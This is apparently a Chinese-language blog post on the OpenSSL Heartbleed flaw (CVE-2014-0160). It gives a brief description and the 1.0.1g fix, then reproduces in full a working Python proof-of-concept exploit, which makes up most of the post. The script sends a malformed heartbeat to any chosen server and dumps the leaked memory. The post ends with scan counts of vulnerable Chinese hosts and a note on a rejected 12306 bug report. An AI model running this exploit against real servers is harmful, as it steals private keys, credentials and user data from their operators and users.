OpenSSL "heartbleed" 安全漏洞

在 heartbleed 的官网上有关于 CVE-2014-0160 漏洞的详细信息，这是关于 OpenSSL 的信息泄漏漏洞导致的安全问题。改 Heartbleed bug 可以让互联网的任何人读取系统保护内存，这种妥协密钥用于识别服务提供者和加密流量,用户名和密码的和实际的内容。该漏洞允许攻击者窃听通讯，并通过模拟服务提供者和用户来直接从服务提供者盗取数据。

目前该问题的解决可以通过升级到 OpenSSL 1.0.1g 版本。

Exploit:

openssl.py

 #!/usr/bin/python

 # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
 # The author disclaims copyright to this source code.

 import sys
 import struct
 import socket
 import time
 import select
 import re
 from optparse import OptionParser

 options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
 options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')

 def h2bin(x):
     return x.replace(' ', '').replace('\n', '').decode('hex')

 hello = h2bin('''
 16 03 02 00  dc 01 00 00 d8 03 02 53
 43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
 bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
 00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
 00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
 c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
 c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
 c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
 c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
 00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
 03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
 00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
 00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
 00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
 00 0f 00 01 01
 ''')

 hb = h2bin('''
 18 03 02 00 03
 01 40 00
 ''')

 def hexdump(s):
     for b in xrange(0, len(s), 16):
         lin = [c for c in s[b : b + 16]]
         hxdat = ' '.join('%02X' % ord(c) for c in lin)
         pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
         print '  %04x: %-48s %s' % (b, hxdat, pdat)
     print

 def recvall(s, length, timeout=5):
     endtime = time.time() + timeout
     rdata = ''
     remain = length
     while remain > 0:
         rtime = endtime - time.time()
         if rtime < 0:
             return None
         r, w, e = select.select([s], [], [], 5)
         if s in r:
             data = s.recv(remain)
             # EOF?
             if not data:
                 return None
             rdata += data
             remain -= len(data)
     return rdata

 def recvmsg(s):
     hdr = recvall(s, 5)
     if hdr is None:
         print 'Unexpected EOF receiving record header - server closed connection'
         return None, None, None
     typ, ver, ln = struct.unpack('>BHH', hdr)
     pay = recvall(s, ln, 10)
     if pay is None:
         print 'Unexpected EOF receiving record payload - server closed connection'
         return None, None, None
     print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
     return typ, ver, pay

 def hit_hb(s):
     s.send(hb)
     while True:
         typ, ver, pay = recvmsg(s)
         if typ is None:
             print 'No heartbeat response received, server likely not vulnerable'
             return False

         if typ == 24:
             print 'Received heartbeat response:'
             hexdump(pay)
             if len(pay) > 3:
                 print 'WARNING: server returned more data than it should - server is vulnerable!'
             else:
                 print 'Server processed malformed heartbeat, but did not return any extra data.'
             return True

         if typ == 21:
             print 'Received alert:'
             hexdump(pay)
             print 'Server returned error, likely not vulnerable'
             return False

 def main():
     opts, args = options.parse_args()
     if len(args) < 1:
         options.print_help()
         return

     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     print 'Connecting...'
     sys.stdout.flush()
     s.connect((args[0], opts.port))
     print 'Sending Client Hello...'
     sys.stdout.flush()
     s.send(hello)
     print 'Waiting for Server Hello...'
     sys.stdout.flush()
     while True:
         typ, ver, pay = recvmsg(s)
         if typ == None:
             print 'Server closed connection without sending Server Hello.'
             return
         # Look for server hello done message.
         if typ == 22 and ord(pay[0]) == 0x0E:
             break

     print 'Sending heartbeat request...'
     sys.stdout.flush()
     s.send(hb)
     hit_hb(s)

 if __name__ == '__main__':
     main()

来自ZoomEye的统计，全国443端口：1601250，有33303个受本次OpenSSL漏洞影响！

铁道部12306系统的漏洞被猪猪侠抢先了。结果我的被驳回了。详情见：

http://wooyun.org/bugs/wooyun-2014-055939